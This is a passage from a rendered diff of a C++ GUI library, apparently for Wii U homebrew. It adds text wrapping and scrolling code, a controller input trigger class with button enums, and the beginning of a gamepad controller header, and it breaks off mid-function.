int GuiText::getTextWidth(int ind)
|
||||||
|
{
|
||||||
|
if(ind < 0 || ind >= (int) textDyn.size())
|
||||||
|
return this->getTextWidth();
|
||||||
|
|
||||||
|
return font->getWidth(textDyn[ind], currentSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
const wchar_t * GuiText::getDynText(int ind)
|
||||||
|
{
|
||||||
|
if(ind < 0 || ind >= (int) textDyn.size())
|
||||||
|
return text;
|
||||||
|
|
||||||
|
return textDyn[ind];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Change font
|
||||||
|
*/
|
||||||
|
bool GuiText::setFont(FreeTypeGX *f)
|
||||||
|
{
|
||||||
|
if(!f)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
font = f;
|
||||||
|
textWidth = font->getWidth(text, currentSize);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string GuiText::toUTF8(void) const
|
||||||
|
{
|
||||||
|
if(!text)
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
char *pUtf8 = FreeTypeGX::wideCharToUTF8(text);
|
||||||
|
if(!pUtf8)
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
std::string strOutput(pUtf8);
|
||||||
|
|
||||||
|
delete [] pUtf8;
|
||||||
|
|
||||||
|
return strOutput;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::makeDottedText()
|
||||||
|
{
|
||||||
|
int pos = textDyn.size();
|
||||||
|
textDyn.resize(pos + 1);
|
||||||
|
|
||||||
|
int i = 0, currentWidth = 0;
|
||||||
|
textDyn[pos] = new (std::nothrow) wchar_t[maxWidth];
|
||||||
|
if(!textDyn[pos]) {
|
||||||
|
textDyn.resize(pos);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (text[i])
|
||||||
|
{
|
||||||
|
currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0);
|
||||||
|
if (currentWidth >= maxWidth && i > 2)
|
||||||
|
{
|
||||||
|
textDyn[pos][i - 2] = '.';
|
||||||
|
textDyn[pos][i - 1] = '.';
|
||||||
|
textDyn[pos][i] = '.';
|
||||||
|
i++;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
textDyn[pos][i] = text[i];
|
||||||
|
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
textDyn[pos][i] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::scrollText(u32 frameCount)
|
||||||
|
{
|
||||||
|
if (textDyn.size() == 0)
|
||||||
|
{
|
||||||
|
int pos = textDyn.size();
|
||||||
|
int i = 0, currentWidth = 0;
|
||||||
|
textDyn.resize(pos + 1);
|
||||||
|
|
||||||
|
textDyn[pos] = new (std::nothrow) wchar_t[maxWidth];
|
||||||
|
if(!textDyn[pos]) {
|
||||||
|
textDyn.resize(pos);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (text[i] && currentWidth < maxWidth)
|
||||||
|
{
|
||||||
|
textDyn[pos][i] = text[i];
|
||||||
|
|
||||||
|
currentWidth += font->getCharWidth(text[i], currentSize, i > 0 ? text[i - 1] : 0);
|
||||||
|
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
textDyn[pos][i] = 0;
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (frameCount % textScrollDelay != 0)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (textScrollInitialDelay)
|
||||||
|
{
|
||||||
|
--textScrollInitialDelay;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int stringlen = wcslen(text);
|
||||||
|
|
||||||
|
++textScrollPos;
|
||||||
|
if (textScrollPos > stringlen)
|
||||||
|
{
|
||||||
|
textScrollPos = 0;
|
||||||
|
textScrollInitialDelay = TEXT_SCROLL_INITIAL_DELAY;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ch = textScrollPos;
|
||||||
|
int pos = textDyn.size() - 1;
|
||||||
|
|
||||||
|
if (!textDyn[pos])
|
||||||
|
textDyn[pos] = new (std::nothrow) wchar_t[maxWidth];
|
||||||
|
|
||||||
|
if(!textDyn[pos]) {
|
||||||
|
textDyn.resize(pos);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
int i = 0, currentWidth = 0;
|
||||||
|
|
||||||
|
while (currentWidth < maxWidth)
|
||||||
|
{
|
||||||
|
if (ch > stringlen - 1)
|
||||||
|
{
|
||||||
|
textDyn[pos][i++] = ' ';
|
||||||
|
currentWidth += font->getCharWidth(L' ', currentSize, ch > 0 ? text[ch - 1] : 0);
|
||||||
|
textDyn[pos][i++] = ' ';
|
||||||
|
currentWidth += font->getCharWidth(L' ', currentSize, L' ');
|
||||||
|
textDyn[pos][i++] = ' ';
|
||||||
|
currentWidth += font->getCharWidth(L' ', currentSize, L' ');
|
||||||
|
ch = 0;
|
||||||
|
|
||||||
|
if(currentWidth >= maxWidth)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
textDyn[pos][i] = text[ch];
|
||||||
|
currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0);
|
||||||
|
++ch;
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
textDyn[pos][i] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiText::wrapText()
|
||||||
|
{
|
||||||
|
if (textDyn.size() > 0) return;
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
int ch = 0;
|
||||||
|
int linenum = 0;
|
||||||
|
int lastSpace = -1;
|
||||||
|
int lastSpaceIndex = -1;
|
||||||
|
int currentWidth = 0;
|
||||||
|
|
||||||
|
while (text[ch] && linenum < linestodraw)
|
||||||
|
{
|
||||||
|
if (linenum >= (int) textDyn.size())
|
||||||
|
{
|
||||||
|
textDyn.resize(linenum + 1);
|
||||||
|
textDyn[linenum] = new (std::nothrow) wchar_t[maxWidth];
|
||||||
|
if(!textDyn[linenum]) {
|
||||||
|
textDyn.resize(linenum);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
textDyn[linenum][i] = text[ch];
|
||||||
|
textDyn[linenum][i + 1] = 0;
|
||||||
|
|
||||||
|
currentWidth += font->getCharWidth(text[ch], currentSize, ch > 0 ? text[ch - 1] : 0x0000);
|
||||||
|
|
||||||
|
if (currentWidth >= maxWidth || (text[ch] == '\n'))
|
||||||
|
{
|
||||||
|
if(text[ch] == '\n')
|
||||||
|
{
|
||||||
|
lastSpace = -1;
|
||||||
|
lastSpaceIndex = -1;
|
||||||
|
}
|
||||||
|
else if (lastSpace >= 0)
|
||||||
|
{
|
||||||
|
textDyn[linenum][lastSpaceIndex] = 0; // discard space, and everything after
|
||||||
|
ch = lastSpace; // go backwards to the last space
|
||||||
|
lastSpace = -1; // we have used this space
|
||||||
|
lastSpaceIndex = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (linenum + 1 == linestodraw && text[ch + 1] != 0x0000)
|
||||||
|
{
|
||||||
|
if(i < 2)
|
||||||
|
i = 2;
|
||||||
|
|
||||||
|
textDyn[linenum][i - 2] = '.';
|
||||||
|
textDyn[linenum][i - 1] = '.';
|
||||||
|
textDyn[linenum][i] = '.';
|
||||||
|
textDyn[linenum][i + 1] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
currentWidth = 0;
|
||||||
|
++linenum;
|
||||||
|
i = -1;
|
||||||
|
}
|
||||||
|
if (text[ch] == ' ' && i >= 0)
|
||||||
|
{
|
||||||
|
lastSpace = ch;
|
||||||
|
lastSpaceIndex = i;
|
||||||
|
}
|
||||||
|
++ch;
|
||||||
|
++i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Draw the text on screen
|
||||||
|
*/
|
||||||
|
void GuiText::draw(CVideo *pVideo)
|
||||||
|
{
|
||||||
|
if(!text)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if(!isVisible())
|
||||||
|
return;
|
||||||
|
|
||||||
|
color[3] = getAlpha();
|
||||||
|
blurGlowColor[3] = blurAlpha * getAlpha();
|
||||||
|
int newSize = size * getScale();
|
||||||
|
|
||||||
|
if(newSize != currentSize)
|
||||||
|
{
|
||||||
|
currentSize = newSize;
|
||||||
|
|
||||||
|
if(text)
|
||||||
|
textWidth = font->getWidth(text, currentSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(maxWidth > 0 && maxWidth <= textWidth)
|
||||||
|
{
|
||||||
|
if(wrapMode == DOTTED) // text dotted
|
||||||
|
{
|
||||||
|
if(textDyn.size() == 0)
|
||||||
|
makeDottedText();
|
||||||
|
|
||||||
|
if(textDynWidth.size() != textDyn.size())
|
||||||
|
{
|
||||||
|
textDynWidth.resize(textDyn.size());
|
||||||
|
|
||||||
|
for(u32 i = 0; i < textDynWidth.size(); i++)
|
||||||
|
textDynWidth[i] = font->getWidth(textDyn[i], currentSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(textDyn.size() > 0)
|
||||||
|
font->drawText(pVideo, getCenterX(), getCenterY(), getDepth(), textDyn[textDyn.size()-1], currentSize, color, alignment, textDynWidth[textDyn.size()-1], defaultBlur, blurGlowIntensity, blurGlowColor);
|
||||||
|
}
|
||||||
|
|
||||||
|
else if(wrapMode == SCROLL_HORIZONTAL)
|
||||||
|
{
|
||||||
|
scrollText(pVideo->getFrameCount());
|
||||||
|
|
||||||
|
if(textDyn.size() > 0)
|
||||||
|
font->drawText(pVideo, getCenterX(), getCenterY(), getDepth(), textDyn[textDyn.size()-1], currentSize, color, alignment, maxWidth, defaultBlur, blurGlowIntensity, blurGlowColor);
|
||||||
|
}
|
||||||
|
else if(wrapMode == WRAP)
|
||||||
|
{
|
||||||
|
int lineheight = currentSize + 6;
|
||||||
|
int yoffset = 0;
|
||||||
|
int voffset = 0;
|
||||||
|
|
||||||
|
if(textDyn.size() == 0)
|
||||||
|
wrapText();
|
||||||
|
|
||||||
|
if(textDynWidth.size() != textDyn.size())
|
||||||
|
{
|
||||||
|
textDynWidth.resize(textDyn.size());
|
||||||
|
|
||||||
|
for(u32 i = 0; i < textDynWidth.size(); i++)
|
||||||
|
textDynWidth[i] = font->getWidth(textDyn[i], currentSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(alignment & ALIGN_MIDDLE)
|
||||||
|
voffset = (lineheight * (textDyn.size()-1)) >> 1;
|
||||||
|
|
||||||
|
for(u32 i = 0; i < textDyn.size(); i++)
|
||||||
|
{
|
||||||
|
font->drawText(pVideo, getCenterX(), getCenterY() + voffset + yoffset, getDepth(), textDyn[i], currentSize, color, alignment, textDynWidth[i], defaultBlur, blurGlowIntensity, blurGlowColor);
|
||||||
|
yoffset -= lineheight;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
font->drawText(pVideo, getCenterX(), getCenterY(), getDepth(), text, currentSize, color, alignment, textWidth, defaultBlur, blurGlowIntensity, blurGlowColor);
|
||||||
|
}
|
||||||
|
}
|
139
src/gui/GuiText.h
Normal file
139
src/gui/GuiText.h
Normal file
@ -0,0 +1,139 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_TEXT_H_
|
||||||
|
#define GUI_TEXT_H_
|
||||||
|
|
||||||
|
#include "GuiElement.h"
|
||||||
|
//!Forward declaration
|
||||||
|
class FreeTypeGX;
|
||||||
|
|
||||||
|
//!Display, manage, and manipulate text in the GUI
|
||||||
|
class GuiText : public GuiElement
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
GuiText();
|
||||||
|
//!\param t Text
|
||||||
|
//!\param s Font size
|
||||||
|
//!\param c Font color
|
||||||
|
GuiText(const char * t, int s, const glm::vec4 & c);
|
||||||
|
//!\overload
|
||||||
|
//!\param t Text
|
||||||
|
//!\param s Font size
|
||||||
|
//!\param c Font color
|
||||||
|
GuiText(const wchar_t * t, int s, const glm::vec4 & c);
|
||||||
|
//!\overload
|
||||||
|
//!\Assumes SetPresets() has been called to setup preferred text attributes
|
||||||
|
//!\param t Text
|
||||||
|
GuiText(const char * t);
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiText();
|
||||||
|
//!Sets the text of the GuiText element
|
||||||
|
//!\param t Text
|
||||||
|
virtual void setText(const char * t);
|
||||||
|
virtual void setText(const wchar_t * t);
|
||||||
|
virtual void setTextf(const char *format, ...) __attribute__((format(printf,2,3)));
|
||||||
|
//!Sets up preset values to be used by GuiText(t)
|
||||||
|
//!Useful when printing multiple text elements, all with the same attributes set
|
||||||
|
//!\param sz Font size
|
||||||
|
//!\param c Font color
|
||||||
|
//!\param w Maximum width of texture image (for text wrapping)
|
||||||
|
//!\param wrap Wrapmode when w>0
|
||||||
|
//!\param a Text alignment
|
||||||
|
static void setPresets(int sz, const glm::vec4 & c, int w, int a);
|
||||||
|
static void setPresetFont(FreeTypeGX *font);
|
||||||
|
//!Sets the font size
|
||||||
|
//!\param s Font size
|
||||||
|
void setFontSize(int s);
|
||||||
|
//!Sets the maximum width of the drawn texture image
|
||||||
|
//!If the text exceeds this, it is wrapped to the next line
|
||||||
|
//!\param w Maximum width
|
||||||
|
//!\param m WrapMode
|
||||||
|
void setMaxWidth(int w = 0, int m = WRAP);
|
||||||
|
//!Sets the font color
|
||||||
|
//!\param c Font color
|
||||||
|
void setColor(const glm::vec4 & c);
|
||||||
|
|
||||||
|
void setBlurGlowColor(float blurIntensity, const glm::vec4 & c);
|
||||||
|
|
||||||
|
void setTextBlur(float blur) { defaultBlur = blur; }
|
||||||
|
//!Get the original text as char
|
||||||
|
virtual const wchar_t * getText() const { return text; }
|
||||||
|
virtual std::string toUTF8(void) const;
|
||||||
|
//!Get the Horizontal Size of Text
|
||||||
|
int getTextWidth() { return textWidth; }
|
||||||
|
int getTextWidth(int ind);
|
||||||
|
//!Get the max textwidth
|
||||||
|
int getTextMaxWidth() { return maxWidth; }
|
||||||
|
//!Get fontsize
|
||||||
|
int getFontSize() { return size; };
|
||||||
|
//!Set max lines to draw
|
||||||
|
void setLinesToDraw(int l) { linestodraw = l; }
|
||||||
|
//!Get current Textline (for position calculation)
|
||||||
|
const wchar_t * getDynText(int ind = 0);
|
||||||
|
virtual const wchar_t * getTextLine(int ind) { return getDynText(ind); };
|
||||||
|
//!Change the font
|
||||||
|
bool setFont(FreeTypeGX *font);
|
||||||
|
//! virtual function used in child classes
|
||||||
|
virtual int getStartWidth() { return 0; };
|
||||||
|
//!Constantly called to draw the text
|
||||||
|
void draw(CVideo *pVideo);
|
||||||
|
//! text enums
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
WRAP,
|
||||||
|
DOTTED,
|
||||||
|
SCROLL_HORIZONTAL,
|
||||||
|
SCROLL_NONE
|
||||||
|
};
|
||||||
|
protected:
|
||||||
|
static FreeTypeGX * presentFont;
|
||||||
|
static int presetSize;
|
||||||
|
static int presetMaxWidth;
|
||||||
|
static int presetAlignment;
|
||||||
|
static GX2ColorF32 presetColor;
|
||||||
|
|
||||||
|
//!Clear the dynamic text
|
||||||
|
void clearDynamicText();
|
||||||
|
//!Create a dynamic dotted text if the text is too long
|
||||||
|
void makeDottedText();
|
||||||
|
//!Scroll the text once
|
||||||
|
void scrollText(u32 frameCount);
|
||||||
|
//!Wrap the text to several lines
|
||||||
|
void wrapText();
|
||||||
|
|
||||||
|
wchar_t * text;
|
||||||
|
std::vector<wchar_t *> textDyn;
|
||||||
|
std::vector<uint16_t> textDynWidth;
|
||||||
|
int wrapMode; //!< Wrapping toggle
|
||||||
|
int textScrollPos; //!< Current starting index of text string for scrolling
|
||||||
|
int textScrollInitialDelay; //!< Delay to wait before starting to scroll
|
||||||
|
int textScrollDelay; //!< Scrolling speed
|
||||||
|
int size; //!< Font size
|
||||||
|
int maxWidth; //!< Maximum width of the generated text object (for text wrapping)
|
||||||
|
FreeTypeGX *font;
|
||||||
|
int textWidth;
|
||||||
|
int currentSize;
|
||||||
|
int linestodraw;
|
||||||
|
glm::vec4 color;
|
||||||
|
float defaultBlur;
|
||||||
|
float blurGlowIntensity;
|
||||||
|
float blurAlpha;
|
||||||
|
glm::vec4 blurGlowColor;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
174
src/gui/GuiTrigger.cpp
Normal file
174
src/gui/GuiTrigger.cpp
Normal file
@ -0,0 +1,174 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include "GuiElement.h"
|
||||||
|
#include "GuiController.h"
|
||||||
|
#include "GuiTrigger.h"
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Constructor for the GuiTrigger class.
|
||||||
|
*/
|
||||||
|
GuiTrigger::GuiTrigger()
|
||||||
|
: chan(CHANNEL_ALL)
|
||||||
|
, btns(BUTTON_NONE)
|
||||||
|
, bClickEverywhere(false)
|
||||||
|
, bHoldEverywhere(false)
|
||||||
|
, bSelectionClickEverywhere(false)
|
||||||
|
, bLastTouched(false)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiTrigger::GuiTrigger(u32 ch, u32 btn, bool clickEverywhere, bool holdEverywhere, bool selectionClickEverywhere)
|
||||||
|
: chan(ch)
|
||||||
|
, btns(btn)
|
||||||
|
, bClickEverywhere(clickEverywhere)
|
||||||
|
, bHoldEverywhere(holdEverywhere)
|
||||||
|
, bSelectionClickEverywhere(selectionClickEverywhere)
|
||||||
|
, bLastTouched(false)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Destructor for the GuiTrigger class.
|
||||||
|
*/
|
||||||
|
GuiTrigger::~GuiTrigger()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sets a simple trigger. Requires:
|
||||||
|
* - Element is selected
|
||||||
|
* - Trigger button is pressed
|
||||||
|
*/
|
||||||
|
void GuiTrigger::setTrigger(u32 ch, u32 btn)
|
||||||
|
{
|
||||||
|
chan = ch;
|
||||||
|
btns = btn;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiTrigger::left(const GuiController *controller) const
|
||||||
|
{
|
||||||
|
if((controller->chan & chan) == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_LEFT | STICK_L_LEFT))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiTrigger::right(const GuiController *controller) const
|
||||||
|
{
|
||||||
|
if((controller->chan & chan) == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_RIGHT | STICK_L_RIGHT))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiTrigger::up(const GuiController *controller) const
|
||||||
|
{
|
||||||
|
if((controller->chan & chan) == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_UP | STICK_L_UP))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiTrigger::down(const GuiController *controller) const
|
||||||
|
{
|
||||||
|
if((controller->chan & chan) == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if((controller->data.buttons_h | controller->data.buttons_d) & (BUTTON_DOWN | STICK_L_DOWN))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiTrigger::clicked(const GuiController *controller) const
|
||||||
|
{
|
||||||
|
if((controller->chan & chan) == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool bResult = false;
|
||||||
|
|
||||||
|
if(controller->data.touched && controller->data.validPointer && (btns & VPAD_TOUCH) && !controller->lastData.touched)
|
||||||
|
{
|
||||||
|
bResult = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(controller->data.buttons_d & btns)
|
||||||
|
{
|
||||||
|
bResult = true;
|
||||||
|
}
|
||||||
|
return bResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiTrigger::held(const GuiController *controller) const
|
||||||
|
{
|
||||||
|
if((controller->chan & chan) == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool bResult = false;
|
||||||
|
|
||||||
|
if(controller->data.touched && (btns & VPAD_TOUCH) && controller->data.validPointer && controller->lastData.touched && controller->lastData.validPointer)
|
||||||
|
{
|
||||||
|
bResult = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(controller->data.buttons_h & btns)
|
||||||
|
{
|
||||||
|
bResult = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return bResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool GuiTrigger::released(const GuiController *controller) const
|
||||||
|
{
|
||||||
|
if((controller->chan & chan) == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(clicked(controller) || held(controller))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
bool bResult = false;
|
||||||
|
|
||||||
|
if(!controller->data.touched && (btns & VPAD_TOUCH) && controller->lastData.touched && controller->lastData.validPointer)
|
||||||
|
{
|
||||||
|
bResult = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(controller->data.buttons_r & btns)
|
||||||
|
{
|
||||||
|
bResult = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return bResult;
|
||||||
|
}
|
||||||
|
|
101
src/gui/GuiTrigger.h
Normal file
101
src/gui/GuiTrigger.h
Normal file
@ -0,0 +1,101 @@
|
|||||||
|
/***************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_TRIGGER_H_
|
||||||
|
#define GUI_TRIGGER_H_
|
||||||
|
|
||||||
|
#include "dynamic_libs/os_functions.h"
|
||||||
|
|
||||||
|
|
||||||
|
//!Menu input trigger management. Determine if action is neccessary based on input data by comparing controller input data to a specific trigger element.
|
||||||
|
class GuiTrigger
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
enum eChannels {
|
||||||
|
CHANNEL_1 = 0x01,
|
||||||
|
CHANNEL_2 = 0x02,
|
||||||
|
CHANNEL_3 = 0x04,
|
||||||
|
CHANNEL_4 = 0x08,
|
||||||
|
CHANNEL_5 = 0x10,
|
||||||
|
CHANNEL_ALL = 0xFF
|
||||||
|
};
|
||||||
|
enum eButtons {
|
||||||
|
BUTTON_NONE = 0x0000,
|
||||||
|
VPAD_TOUCH = 0x80000000,
|
||||||
|
BUTTON_Z = 0x20000,
|
||||||
|
BUTTON_C = 0x10000,
|
||||||
|
BUTTON_A = 0x8000,
|
||||||
|
BUTTON_B = 0x4000,
|
||||||
|
BUTTON_X = 0x2000,
|
||||||
|
BUTTON_Y = 0x1000,
|
||||||
|
BUTTON_1 = BUTTON_Y,
|
||||||
|
BUTTON_2 = BUTTON_X,
|
||||||
|
BUTTON_LEFT = 0x0800,
|
||||||
|
BUTTON_RIGHT = 0x0400,
|
||||||
|
BUTTON_UP = 0x0200,
|
||||||
|
BUTTON_DOWN = 0x0100,
|
||||||
|
BUTTON_ZL = 0x0080,
|
||||||
|
BUTTON_ZR = 0x0040,
|
||||||
|
BUTTON_L = 0x0020,
|
||||||
|
BUTTON_R = 0x0010,
|
||||||
|
BUTTON_PLUS = 0x0008,
|
||||||
|
BUTTON_MINUS = 0x0004,
|
||||||
|
BUTTON_HOME = 0x0002,
|
||||||
|
BUTTON_SYNC = 0x0001,
|
||||||
|
STICK_R_LEFT = 0x04000000,
|
||||||
|
STICK_R_RIGHT = 0x02000000,
|
||||||
|
STICK_R_UP = 0x01000000,
|
||||||
|
STICK_R_DOWN = 0x00800000,
|
||||||
|
STICK_L_LEFT = 0x40000000,
|
||||||
|
STICK_L_RIGHT = 0x20000000,
|
||||||
|
STICK_L_UP = 0x10000000,
|
||||||
|
STICK_L_DOWN = 0x08000000
|
||||||
|
};
|
||||||
|
|
||||||
|
//!Constructor
|
||||||
|
GuiTrigger();
|
||||||
|
//!Constructor
|
||||||
|
GuiTrigger(u32 ch, u32 btns, bool clickEverywhere = false, bool holdEverywhere = false, bool selectionClickEverywhere = false);
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiTrigger();
|
||||||
|
//!Sets a simple trigger. Requires: element is selected, and trigger button is pressed
|
||||||
|
void setTrigger(u32 ch, u32 btns);
|
||||||
|
|
||||||
|
void setClickEverywhere(bool b) { bClickEverywhere = b; }
|
||||||
|
void setHoldOnly(bool b) { bHoldEverywhere = b; }
|
||||||
|
void setSelectionClickEverywhere(bool b) { bSelectionClickEverywhere = b; }
|
||||||
|
|
||||||
|
bool isClickEverywhere() const { return bClickEverywhere; }
|
||||||
|
bool isHoldEverywhere() const { return bHoldEverywhere; }
|
||||||
|
bool isSelectionClickEverywhere() const { return bSelectionClickEverywhere; }
|
||||||
|
|
||||||
|
bool left(const GuiController *controller) const;
|
||||||
|
bool right(const GuiController *controller) const;
|
||||||
|
bool up(const GuiController *controller) const;
|
||||||
|
bool down(const GuiController *controller) const;
|
||||||
|
bool clicked(const GuiController *controller) const;
|
||||||
|
bool held(const GuiController *controller) const;
|
||||||
|
bool released(const GuiController *controller) const;
|
||||||
|
private:
|
||||||
|
u32 chan;
|
||||||
|
u32 btns;
|
||||||
|
bool bClickEverywhere;
|
||||||
|
bool bHoldEverywhere;
|
||||||
|
bool bSelectionClickEverywhere;
|
||||||
|
bool bLastTouched;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
62
src/gui/VPadController.h
Normal file
62
src/gui/VPadController.h
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef VPAD_CONTROLLER_H_
|
||||||
|
#define VPAD_CONTROLLER_H_
|
||||||
|
|
||||||
|
#include "GuiController.h"
|
||||||
|
#include "dynamic_libs/vpad_functions.h"
|
||||||
|
|
||||||
|
class VPadController : public GuiController
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
VPadController(int channel)
|
||||||
|
: GuiController(channel)
|
||||||
|
{
|
||||||
|
memset(&vpad, 0, sizeof(vpad));
|
||||||
|
}
|
||||||
|
|
||||||
|
//!Destructor
|
||||||
|
virtual ~VPadController() {}
|
||||||
|
|
||||||
|
bool update(int width, int height)
|
||||||
|
{
|
||||||
|
lastData = data;
|
||||||
|
|
||||||
|
int vpadError = -1;
|
||||||
|
VPADRead(0, &vpad, 1, &vpadError);
|
||||||
|
|
||||||
|
